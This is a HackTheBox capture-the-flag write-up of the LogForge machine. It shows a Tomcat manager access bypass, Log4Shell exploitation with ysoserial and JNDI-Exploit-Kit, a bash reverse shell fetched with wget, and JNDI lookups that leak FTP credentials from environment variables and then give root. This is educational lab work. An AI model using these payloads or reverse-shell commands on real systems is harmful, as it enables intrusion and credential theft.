LogForge was a UHC box that HTB created entirely focused on Log4j / Log4Shell. To start, there’s an Orange Tsai attack against how Apache is hosting Tomcat, allowing the bypass of restrictions to get access to the manager page. From there, I’ll exploit Log4j to get a shell as the tomcat user. With a foothold on the machine, there’s an FTP server running as root listening only on localhost. This FTP server is Java based, and reversing it shows it’s using Log4j to log usernames. I’ll exploit this to leak the environment variables used to store the username and password needed to access the FTP server, and use that to get access to the root flag. The password also works to get a root shell. In Beyond Root I’ll look at using netcat to read the LDAP requests and do some binary RE of LDAP on the wire.

Box Info

Name LogForge LogForge
Play on HackTheBox
Release Date 23 Dec 2021
Retire Date 23 Dec 2021
OS Linux Linux
Base Points Medium [30]
First Blood User N/A (non-competitive)
First Blood Root N/A (non-competitive)
Creators ippsec



nmap found two open TCP ports, SSH (22) and HTTP (80):

oxdf@parrot$ nmap -p- --min-rate 10000 -oA scans/nmap-alltcp
Starting Nmap 7.80 ( https://nmap.org ) at 2021-12-21 07:59 EST
Nmap scan report for
Host is up (0.097s latency).
Not shown: 65531 closed ports
21/tcp   filtered ftp
22/tcp   open     ssh
80/tcp   open     http
8080/tcp filtered http-proxy

Nmap done: 1 IP address (1 host up) scanned in 8.24 seconds
oxdf@parrot$ nmap -p 22,80 -sCV -oA scans/nmap-tcpscripts
Starting Nmap 7.80 ( https://nmap.org ) at 2021-12-21 08:00 EST
Nmap scan report for
Host is up (0.091s latency).

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Ultimate Hacking Championship
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.04 seconds

Based on the OpenSSH and Apache versions, the host is likely running Ubuntu 20.04.

There’s two filtered ports, 21 and 8080. I’ll want to check those out when I get access to the localhost somehow.

Website - TCP 80


The site just has a UHC logo:


The source for the page shows it is just as simple as it looks:

<!DOCTYPE html>
<meta charset="UTF-8">
<title>Ultimate Hacking Championship</title>
body {
	background-image: url("images/logo.png");
	background-size: contain;
    background-repeat: no-repeat;
	background-color: #0c1f3b;
.main {
	display: flex;
	flex-direction: column;
	justify-content: center;
	text-align: center;
	line-height: 200px;
	color: #ffffff;
	font-size: 80px;

<div class="main">

Tech Stack

Just guessing at extensions for index didn’t find much. /index.html, /index, and index.php all returned 404.

The server headers give a few bits of information:

HTTP/1.1 200 
Date: Tue, 21 Dec 2021 13:11:05 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html;charset=UTF-8
Set-Cookie: JSESSIONID=6DA833F1BFA228D381D830DE7B28DA1C; Path=/; HttpOnly
Vary: Accept-Encoding
Content-Length: 489
Connection: close

First, the server is running Apache (as noted by nmap). But there’s also a JSESSIONID cookie. Googling that will show this is a J2EE (Java) thing:


With that in mind, checking /index.jsp returns the same page.

The 404 page does confirm it’s Java, showing Apache Tomcat with a version 9.0.31:


Directory Brute Force

I’ll run feroxbuster against the site, and include -x jsp since that’s clearly in use, and I’ll include .java and .class to see if anything that shouldn’t be present on the webserver happens to leak:

oxdf@parrot$ feroxbuster -u -x jsp,java,class

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.4.0
 🎯  Target Url            │
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.4.0
 💲  Extensions            │ [jsp, java, class]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
 🏁  Press [ENTER] to use the Scan Cancel Menu™
403        9l       28w      277c
302        0l        0w        0c
403        9l       28w      277c
403        9l       28w      277c
[####################] - 3m    239992/239992  0s      found:4       errors:6166   
[####################] - 3m    119996/119996  533/s
[####################] - 3m    119996/119996  533/s

/admin could be interesting, but returns 403 Forbidden. /server-status is the Apache status page which typically has to be accessed from localhost. /manager is how Tomcat manages Java webservers. That’s interesting as well, but again, a 403 Forbidden. /images redirects to /images/, which returns 404, but I know from the HTML above that the UHC image is at /images/logo.png.

Shell as tomcat

Access /manager

I’ve referred to Orange Tsai’s 2018 Blackhat presentation on Breaking Parser Logic several times before (like in Seal and Pikaboo). This time it’s Tomcat hosted by Apache, which leads to this slide:


I suspect I’m getting a 403 from a rule in Apache that looks something like:

        <location /manager>
                order deny,allow
                allow from
                deny from all

This rule would block access to the Tomcat manager page for any IP except for localhost. To get around this, I’ll visit;/manager/ in Burp Repeater. Apache sees that as three directories deep, and it won’t match on the rule above . But Tomcat will process that as /manager/, and return that. It works:

image-20211221085244055Click for full size image

Success is actually a 302 to /manager/html, but that’s where the admin panel is.

WAR Fail

Tomcat Manager Panel

Visiting;/manager/html in Firefox returns a prompt for HTTP basic auth:


Guessing tomcat / tomcat provides access, and returns a standard Tomcat manager panel, including the first UHC flag in the Application paths.

War Payload - Fail

Typically with access to this panel, I can upload a malicious WAR file and get execution. I’ll create a payload with msfvenom:

oxdf@parrot$ msfvenom -p java/shell_reverse_tcp lhost= lport=443 -f war -o rev.war
Payload size: 13317 bytes
Final size of war file: 13317 bytes
Saved as: rev.war

When I try to upload it in the Tomcat manager, there’s an error:


The message is:

FAIL - Deploy Upload Failed, Exception: [org.apache.tomcat.util.http.fileupload.impl.FileSizeLimitExceededException: The field deployWar exceeds its maximum permitted size of 1 bytes.]

If the maximum allowed upload is 1 byte, that effectively disables WAR uploads.



Given the name of the box and the hype around the Log4j vulnerability, it makes sense to look at the Log4shell exploit here. The bug is in the Java logging library, Log4j, which is very common in Java frameworks. The issue comes with how JNDI strings are handled.

The Java Naming and Directory InterfaceTM (JNDI) is an application programming interface (API) that provides naming and directory functionality to applications written using the JavaTM programming language. It is defined to be independent of any specific directory service implementation.

The idea is that I could have the logging server provide more robust details with some lookups based on what’s in the logs. The vulnerability is that this can be abused to get Java to do some very dangerous things, all the way to code execution.


To see if this might work, I’ll put a test string into different fields that might get logged by Tomcat. At first I tried things like the user agent and url, but those didn’t work. I suspect Apache is likely logging those, but Apache isn’t Java-based.

The common test string is something like:


If the server is vulnerable, it will connect back to me on TCP port 389 (LDAP) to request that file (I’ll use a LDAP server that doesn’t care about what comes after /, so file will work, but so would anything else.) I’ll start tcpdump and submit that to some fields in the manager page. For example, the “Expire sessions with idle >” field generates this POST, with the JNDI string in the POST body (url encoded):

POST /0xdf/..;/manager/html/expire?path=/ HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Authorization: Basic dG9tY2F0OnRvbWNhdA==
Connection: close
Cookie: JSESSIONID=E5AB7A4A405F35DC095505B49732EB4C
Upgrade-Insecure-Requests: 1


On sending, there’s a connection attempt from LogForge back to me on TCP 389 (LDAP):

oxdf@parrot$ sudo tcpdump -ni tun0 not port 80
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
09:15:50.934130 IP > Flags [S], seq 1234181031, win 64240, options [mss 1357,sackOK,TS val 995632006 ecr 0,nop,wscale 7], length 0
09:15:50.934150 IP > Flags [R.], seq 0, ack 1234181032, win 0, length 0

My host responded with a reset, because I’m not listening on LDAP. But still, that’s a successful exploit.


The next step is to get execution. I’ll need a bit more tooling. I’ll need an LDAP server that can respond as JNDI is expecting, and then I can send back a Java payload and have it execute.

The JNDI-Exploit-Kit is a neat way to do that. This tweet shows that it was updated to allow for a serialized Java payload as well, so I’ll use that fork of the project:

After downloading the release from the link in the readme, and grabbing ysoserial, I’ll create a payload:

oxdf@parrot$ ysoserial CommonsCollections5 'ping -c 1' > ping.ser

With ysoserial, it is building a serialized payload that will execute based on gadgets from common frameworks/libraries that might be in use on the target system. In this case, CommonsCollections5 is uses a set of gadgets found in the version 3.1 of commons collections library in Java. The CommonsCollections series is a good place to start with ysoserial, but you may have to try all of them to find one that works.

Next, I’ll start the server. By default it listens on 1389 for LDAP, so it doesn’t have to run as root to get a low port. I want 389, so I’ll give it that, as well as my payload:

oxdf@parrot$ sudo java -jar /opt/JNDI-Exploit-Kit/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -P ping.ser -L
       _ _   _ _____ _____      ______            _       _ _          _  ___ _   
      | | \ | |  __ \_   _|    |  ____|          | |     (_) |        | |/ (_) |  
      | |  \| | |  | || |______| |__  __  ___ __ | | ___  _| |_ ______| ' / _| |_ 
  _   | | . ` | |  | || |______|  __| \ \/ / '_ \| |/ _ \| | __|______|  < | | __|
 | |__| | |\  | |__| || |_     | |____ >  <| |_) | | (_) | | |_       | . \| | |_ 
  \____/|_| \_|_____/_____|    |______/_/\_\ .__/|_|\___/|_|\__|      |_|\_\_|\__|
                                           | |                                    
                                           |_|               created by @welk1n 
                                                             modified by @pimps

[COMMAND] >> open /System/Applications/Calculator.app
----------------------------JNDI Links----------------------------
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
Target environment(Build in JDK - (BYPASS WITH EL by @welk1n) whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
Target environment(Build in JDK 1.5 whose trustURLCodebase is true):
Target environment(Build in JDK 1.6 whose trustURLCodebase is true):
Target environment(Build in JDK - (BYPASS WITH GROOVY by @orangetw) whose trustURLCodebase is false and have Tomcat 8+ and Groovy in classpath):
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):

----------------------------Server Log----------------------------
2021-12-21 09:29:47 [JETTYSERVER]>> Listening on
2021-12-21 09:29:47 [RMISERVER]  >> Listening on
2021-12-21 09:29:47 [LDAPSERVER] >> Listening on

Next, with tcpdump listening, I’ll give the exploit string back into Tomcat, and there’s a connection:

2021-12-21 09:30:14 [LDAPSERVER] >> Send LDAP object with serialized payload: ACED00057372002E6A617661782E6D616E6167656D656E742E42616441747472696275746556616C7565457870457863657074696F6ED4E7DAAB632D46400200014C000376616C7400124C6A6176612F6C616E672F4F626A6563743B787200136A6176612E6C616E672E457863657074696F6ED0FD1F3E1A3B1CC4020000787200136A6176612E6C616E672E5468726F7761626C65D5C635273977B8CB0300044C000563617573657400154C6A6176612F6C616E672F5468726F7761626C653B4C000D64657461696C4D6573736167657400124C6A6176612F6C616E672F537472696E673B5B000A737461636B547261636574001E5B4C6A6176612F6C616E672F537461636B5472616365456C656D656E743B4C001473757070726573736564457863657074696F6E737400104C6A6176612F7574696C2F4C6973743B787071007E0008707572001E5B4C6A6176612E6C616E672E537461636B5472616365456C656D656E743B02462A3C3CFD22390200007870000000037372001B6A6176612E6C616E672E537461636B5472616365456C656D656E746109C59A2636DD85020008420006666F726D617449000A6C696E654E756D6265724C000F636C6173734C6F616465724E616D6571007E00054C000E6465636C6172696E67436C61737371007E00054C000866696C654E616D6571007E00054C000A6D6574686F644E616D6571007E00054C000A6D6F64756C654E616D6571007E00054C000D6D6F64756C6556657273696F6E71007E00057870010000005174000361707074002679736F73657269616C2E7061796C6F6164732E436F6D6D6F6E73436F6C6C656374696F6E7335740018436F6D6D6F6E73436F6C6C656374696F6E73352E6A6176617400096765744F626A65637470707371007E000B010000003371007E000D71007E000E71007E000F71007E001070707371007E000B010000002271007E000D74001979736F73657269616C2E47656E65726174655061796C6F616474001447656E65726174655061796C6F61642E6A6176617400046D61696E70707372001F6A6176612E7574696C2E436F6C6C656374696F6E7324456D7074794C6973747AB817B43CA79EDE020000787078737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B657971007E00014C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00017870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D6571007E00055B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007400096765744D6574686F647571007E002F00000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E002F7371007E00287571007E002C00000002707571007E002C00000000740006696E766F6B657571007E002F00000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E002C7371007E0028757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B4702000078700000000174001470696E67202D6320312031302E31302E31342E36740004657865637571007E002F0000000171007E00347371007E0024737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F40000000000000770800000010000000007878

At tcpdump, there are ICMP packets:

oxdf@parrot$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
09:30:14.306963 IP > ICMP echo request, id 2, seq 1, length 64
09:30:14.307005 IP > ICMP echo reply, id 2, seq 1, length 64

That’s proof of RCE.


ysoserial payloads like this don’t typically like payloads that include multiple commands with ; or | or &. So I’ll get a shell in two steps (more in the next section). One payload will upload the reverse shell to /dev/shm, and another to execute it:

oxdf@parrot$ ysoserial CommonsCollections5 'wget -O /dev/shm/rev.sh' > getrev.ser
oxdf@parrot$ ysoserial CommonsCollections5 'bash /dev/shm/rev.sh' > runrev.ser

I’ll also create a simple rev.sh:


bash -i >& /dev/tcp/ 0>&1

I’ll start JNDI-Exploit-Kit with -P getrev.ser, and trigger it again, and there’s a hit at my Python webserver: - - [21/Dec/2021 09:48:36] "GET /rev.sh HTTP/1.1" 200 -

Now I’ll restart JNDI-Exploit-Kit with -P runrev.ser and trigger it, and I get a shell:

oxdf@parrot$ nc -lnvp 443
Listening on 443
Connection received on 47330
bash: cannot set terminal process group (773): Inappropriate ioctl for device
bash: no job control in this shell

I’ll do a shell upgrade:

tomcat@LogForge:/var/lib/tomcat9$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
tomcat@LogForge:/var/lib/tomcat9$ ^Z
[1]+  Stopped                 nc -lnvp 443
oxdf@parrot$ stty raw -echo; fg
nc -lnvp 443
reset: unknown terminal type unknown
Terminal type? screen

I can also grab user.txt from /home/htb:

tomcat@LogForge:/home/htb$ cat user.txt

Modified yso!

IppSec mentioned to me that there’s an updated fork of ysoserial that includes:

A good solution to fix that problem is pass the arguments to the method Runtime.getRuntime().exec(String[].class) that expects an array of Strings. The best option is execute the following: Runtime.getRuntime().exec(new String[] {"/bin/sh", "-c", "command"}). Passing the arguments that way, java will understand that you’re executing the /bin/bash passing the arguments -c and ‘command’ on the correct way and will execute your command inside of an terminal environment, what will allow you use nested or complex commands (with | or ;) and also control inputs and outputs (with < and >).

If I use the modified Jar, I can do a one-liner reverse shell:

oxdf@parrot$ java -jar /opt/ysoserial/ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/ 0>&1' > rev.ser                                       WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by ysoserial.payloads.CommonsCollections5 (file:/opt/ysoserial/ysoserial-modified.jar) to field javax.management.BadAttributeValueExpException.val
WARNING: Please consider reporting this to the maintainers of ysoserial.payloads.CommonsCollections5
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release   

In this version, I have to specify the shell I want to run with (in this case bash), as well as the payload. There’s a bunch of warnings, but it’s fine.

I’ll host this payload with JNDI-Exploit-Kit, and trigger, and get a shell:

oxdf@parrot$ nc -lnvp 443
Listening on 443
Connection received on 50870
bash: cannot set terminal process group (771): Inappropriate ioctl for device
bash: no job control in this shell

Shell as root


During the nmap scan, I noted the two filtered ports. 8080 is just Tomcat:

tomcat@LogForge:/home/htb$ curl localhost:8080

<!DOCTYPE html>
<meta charset="UTF-8">
<title>Ultimate Hacking Championship</title>
body {
        background-image: url("images/logo.png");
        background-size: contain;

But there is something listening on TCP 21:

tomcat@LogForge:/home/htb$ netstat -tnlp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 *               LISTEN      -                   
tcp        0      0    *               LISTEN      -                   
tcp6       0      0 :::8080                 :::*                    LISTEN      771/java            
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::21                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -

In the filesystem root, there’s also an FTP JAR, ftpServer-1.0-SNAPSHOT-all.jar. That file is being run by root:

tomcat@LogForge:/$ ps auxww | grep ftp
root         941  0.1  2.0 3578000 81068 ?       Sl   15:15   0:02 java -jar /root/ftpServer-1.0-SNAPSHOT-all.jar

Reverse JAR

I’ll send the JAR back to my VM using nc (making sure to compare hashes to ensure it transferred correctly), and open it in jd-gui. Immediately on opening the Log4j references jump out:


The main part (where the custom code is) has two classes:


The main function is in Server, where is uses Log4j, but not to log anything user controlled:

package main.java.com.ippsec.ftpServer;

import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Server {
  private int controlPort = 21;
  private ServerSocket welcomeSocket;
  boolean serverRunning = true;
  private static final Logger LOGGER = LogManager.getLogger(Server.class);
  public static void main(String[] args) {
    new Server();
  public Server() {
    try {
      this.welcomeSocket = new ServerSocket(this.controlPort);
    } catch (IOException e) {
      LOGGER.error("Could not create server socket");
    LOGGER.info("FTP Server started listening on port " + this.controlPort);
    int noOfThreads = 0;
    while (this.serverRunning) {
      try {
        Socket client = this.welcomeSocket.accept();
        int dataPort = this.controlPort + noOfThreads + 1;
        Worker w = new Worker(client, dataPort);
        LOGGER.info("New connection received. Worker was created.");
      } catch (IOException e) {
        LOGGER.error("Exception encountered on accept");
    try {
      System.out.println("Server was stopped");
    } catch (IOException e) {
      System.out.println("Problem stopping server");

This class just starts the server, and then waits for a connection. When there’s a connection, it creates a Worker and hands it off to go back to listening.

In Worker, it is set up to handle all the various commands in the FTP protocol. It’s also using Log4j. The handleUser function jumps out as interesting:

  private void handleUser(String username) {
    LOGGER.warn("Login with invalid user: " + username);
    if (username.toLowerCase().equals(this.validUser)) {
      sendMsgToClient("331 User name okay, need password");
      this.currentUserStatus = userStatus.ENTEREDUSERNAME;
    } else if (this.currentUserStatus == userStatus.LOGGEDIN) {
      sendMsgToClient("530 User already logged in");
    } else {
      sendMsgToClient("530 Not logged in");

It is passing the username to Log4j.

The other bit of interest is at the top of the class:

  private String validUser = System.getenv("ftp_user");
  private String validPassword = System.getenv("ftp_password");

The valid username and password are stored in environment variables.

Leak Env Variables


I could try using ysoserial again, but this application (which I can reverse and see without having to try) isn’t using any of the libraries associated with any of the gadgets, so it can’t succeed. There may be a way to generate a full Java class file to send back, but that is disabled in recent version of Java (see appendix B). The source review gave a simpler path forward. I want to get access to the environment variables that hold the FTP username and password, which will at least get access to the FTP server running as root.

Get Path

I noted during the Tomcat exploitation of Log4Shell that I didn’t need to know what the file path was in the url in the JNDI string. But if I trigger it again with Wireshark running, I can see it:


To prove that further, I’ll change it in the string submitted into Tomcat and look for the update:


Put Env in Path

I’ll build a JNDI string that exfils the ftp_user environment variable:


When I use that to log into FTP, it hangs for a second, and then reports failure:

tomcat@LogForge:/var/lib/tomcat9$ ftp localhost
Connected to localhost.
220 Welcome to the FTP-Server
Name (localhost:tomcat): ${jndi:ldap://${env:ftp_user}}
530 Not logged in
Login failed.
Remote system type is FTP.

In WireShark:


I can do the same with ftp_password:


And WireShark shows it as well:


I could also just make one payload that shows both:




FTP Access

With that username and password, I’m able to log into FTP:

tomcat@LogForge:/var/lib/tomcat9$ ftp localhost
Connected to localhost.
220 Welcome to the FTP-Server
Name (localhost:tomcat): ippsec
331 User name okay, need password
230-Welcome to HKUST
230 User logged in successfully
Remote system type is FTP.
ftp> ls
200 Command OK
125 Opening ASCII mode data connection for file list.
226 Transfer complete.

It looks like it’s running in /root. I’ll grab root.txt. If I’m running in a dir I can’t write in, it will fail:

ftp> get root.txt
local: root.txt remote: root.txt
local: root.txt: Permission denied

lcd will change to another dir, and then it works:

ftp> lcd /tmp
Local directory now /tmp
ftp> get root.txt
local: root.txt remote: root.txt
200 Command OK
150 Opening ASCII mode data connection for requested file root.txt
WARNING! 1 bare linefeeds received in ASCII mode
File may not have transferred correctly.
226 File transfer successful. Closing data connection.
33 bytes received in 0.00 secs (716.1458 kB/s)

And I can read the flag:

tomcat@LogForge:/var/lib/tomcat9$ cat /tmp/root.txt


It turns out that password also works for su to root:

htb@LogForge:~$ su -

Beyond Root

Getting the LDAP Path with nc

I used Wireshark to look at the LDAP requests and capture the path requested. I can’t just use nc to catch the reply, because the client expects some protocol steps before it will request the path. This tweet from HackerFantastic shows how to use nc to interact with LDAP:

The line I care about here is in the middle - it’s using screen to run in the background, and then using echo -e to put the necessary bytes into nc and then printing the results into xxd.

I can do the same here:

oxdf@parrot$ echo -e '0\x0c\x02\x01\x01a\x07\x0a\x01\x00\x04\x00\x04\00' | nc -nvv -l -p 389 | xxd
Listening on 389

Now if I trigger that (like putting in the JNDI string in Tomcat manager or with the FTP username), the connection shows the string:

Connection received on 53458
00000000: 300c 0201 0160 0702 0103 0400 8000 3046  0....`........0F
00000010: 0201 0263 2404 0466 696c 650a 0100 0a01  ...c$..file.....
00000020: 0302 0100 0201 0001 0100 870b 6f62 6a65  ............obje
00000030: 6374 436c 6173 7330 00a0 1b30 1904 1732  ctClass0...0...2
00000040: 2e31 362e 3834 302e 312e 3131 3337 3330  .16.840.1.113730

LDAP Protocol Dive

Bind Request / Response

LDAP messages are a predefined set of objects each given in the format “[type] [length] [value]”. So the integer 4 would be 02 01 04. Or the string “uid” would be 0a 03 75 69 64.

So what is “0\x0c\x02\x01\x01a\x07\x0a\x01\x00\x04\x00\x04\00”?

In Wireshark, they break that down as a successful LDAP bind response.

Wireshark LDAP

Looking at the stream in hex dumb mode, I can see what both sides are sending:

Wireshark LDAP

The client starts out with a bind request:

Wireshark LDAP

That exactly matches what this documentation gives as an example of “an anonymous simple bind request with a message ID of one and no request controls”:

30 0c -- Begin the LDAPMessage sequence
   02 01 01 --  The message ID (integer value 1)
   60 07 -- Begin the bind request protocol op
      02 01 03 -- The LDAP protocol version (integer value 3)
      04 00 -- Empty bind DN (0-byte octet string)
      80 00 -- Empty password (0-byte octet string with type context-specific
            -- primitive zero)

That same page show the example response with minimal optional details as :

30 0c -- Begin the LDAPMessage sequence
   02 01 01 -- The message ID (integer value 1)
   61 07 -- Begin the bind response protocol op
      0a 01 00 -- success result code (enumerated value 0)
      04 00 -- No matched DN (0-byte octet string)
      04 00 -- No diagnostic message (0-byte octet string)

That’s an exact match for what I’m putting into nc to fake a LDAP server. Basically, I’m sending back the bytes that say “your bind attempt is successful”.

LDAP Search Request

For the purposes of catching the environment variables in the url path, just seeing the hexdump is enough. But it’s not too difficult to break it down a bit further. The hex dump for the request looks like:

00000000: 300c 0201 0160 0702 0103 0400 8000 3046  0....`........0F
00000010: 0201 0263 2404 0466 696c 650a 0100 0a01  ...c$..file.....
00000020: 0302 0100 0201 0001 0100 870b 6f62 6a65  ............obje
00000030: 6374 436c 6173 7330 00a0 1b30 1904 1732  ctClass0...0...2
00000040: 2e31 362e 3834 302e 312e 3131 3337 3330  .16.840.1.113730

The first 14 bytes the bind request. Then after the bind response, what arrives starts with the last two bytes on the first line. It’s a LDAP search request. Using the docs and Wireshark, it breaks down to:

30 46 -- Begin LDAP search request (with length of 0x46 = 72)
   02 01 02 -- The message ID (integer value 2)
   63 24 -- Begin Search Protocol Op
       04 04 66 69 6c 65 -- Search, octet string "file"
       0a 01 00 -- Scope baseObject
       0a 01 03 -- Always deref aliases
       02 01 00 -- Size Limit unlimited
       02 01 00 -- Time limit unlimited
       01 01 00 -- Types only flag, boolean false
       87 0b 6f 62 6a 65 63 74 43 6c 61 73 73 -- Present Filter, string 0x0b long, objectClass
   30 00 -- Attributes (empty)
   a0 1b 30 19 04 17 32 2e 31 36 2e 38 34 30 2e 31 2e 31 31 33 37 33 30 -- Control item 

The important thing here is the search string “file”. It’s also interesting that the last item, control items, has length of 0x1b, but only shows 0x15 bytes. In the Wireshark dump it shows those six bytes appearing on a different line:

0000000E  30 46 02 01 02 63 24 04  04 66 69 6c 65 0a 01 00   0F...c$. .file...
0000001E  0a 01 03 02 01 00 02 01  00 01 01 00 87 0b 6f 62   ........ ......ob
0000002E  6a 65 63 74 43 6c 61 73  73 30 00 a0 1b 30 19 04   jectClas s0...0..
0000003E  17 32 2e 31 36 2e 38 34  30 2e 31 2e 31 31 33 37   .2.16.84 0.1.1137
0000004E  33 30 2e 33 2e 34 2e 32                   

I didn’t dive into what happens here, but maybe it’s coming in a different packet after nc has already tried to consider the connection closed. But I haven’t verified that, as I’ve gone deep enough into this rabbit hole for now.